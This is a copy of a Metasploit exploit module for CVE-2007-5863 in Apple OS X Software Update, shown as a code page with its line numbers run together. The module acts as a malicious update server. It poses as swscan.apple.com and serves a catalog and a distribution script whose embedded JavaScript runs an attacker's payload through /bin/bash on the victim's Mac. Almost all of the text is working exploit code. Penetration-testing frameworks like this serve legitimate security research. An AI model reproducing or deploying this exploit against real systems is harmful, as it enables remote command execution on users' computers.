Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/browser/software_update.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'Apple OS X Software Update Command Execution',13'Description' => %q{14This module exploits a feature in the Distribution Packages,15which are used in the Apple Software Update mechanism. This feature16allows for arbitrary command execution through JavaScript. This exploit17provides the malicious update server. Requests must be redirected to18this server by other means for this exploit to work.19},20'Author' => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],21'License' => MSF_LICENSE,22'References' =>23[24['CVE', '2007-5863'],25['OSVDB', '40722'],26],27'Payload' =>28{29'BadChars' => "\x00",30'DisableNops' => true,31'Compat' =>32{33'PayloadType' => 'cmd cmd_bash',34'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',35}36},37'Platform' => 'osx',38'Targets' =>39[40[41'Automatic',42{43'Platform' => [ 'unix' ],44'Arch' => ARCH_CMD,45},46],47],48'DisclosureDate' => '2007-12-17',49'DefaultTarget' => 0))5051register_options(52[53OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),54OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])55])56end5758# Encode some characters using character entity references and escape any59# quotation characters, by splitting the string into multiple parts.60def encode_payload(payload)61encoded = payload.gsub(/[&<>"']/) do |s|62case s63when '&'64"&"65when '<'66"<"67when '>'68">"69when '"'70'"+\'"\'+"'71when '\''72"'"73end74end75return '"' + encoded + '"'76end7778# Generate the initial catalog file with references to the79# distribution script, which does the actual exploitation.80def generate_catalog(server)81languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",82"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]83productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)84distfile = rand_text_alpha(8) + ".dist"8586sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'87sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'88sucatalog << '<plist version="1.0">'89sucatalog << '<dict>'90sucatalog << '<key>Products</key><dict>'91sucatalog << "<key>#{productkey}</key><dict>"92sucatalog << '<key>Distributions</key><dict>'9394languages.each do |l|95sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"96end9798sucatalog << '</dict></dict></dict></dict></plist>'99100return sucatalog101end102103# Generate distribution script, which calls our payload using JavaScript.104def generate_dist(payload)105func = rand_text_alpha(8)106107dist = '<?xml version="1.0" encoding="UTF-8"?>'108dist << "<installer-gui-script minSpecVersion='1'>"109dist << '<options allow-external-scripts = "yes"/>'110dist << "<choices-outline ui='SoftwareUpdate'>"111dist << "<line choice='su'/>"112dist << "</choices-outline>"113dist << "<choice id='su' visible ='#{func}()'/>"114dist << "<script>"115dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"116dist << "</script>"117dist << "</installer-gui-script>"118119return dist120end121122def on_request_uri(cli, request)123date = Time.now124server = "swscan.apple.com"125126header = {127'Content-Type' => 'text/plain',128'Last-Modified' => date,129'Date' => date,130}131132if request.uri =~ /\.sucatalog$/133print_status("Sending initial distribution package")134body = generate_catalog(server)135elsif request.uri =~ /\.dist$/136print_status("Sending distribution script")137return if ((p = regenerate_payload(cli)) == nil)138body = generate_dist(p.encoded)139else140return141end142send_response(cli, body, header)143handler(cli)144end145end146147148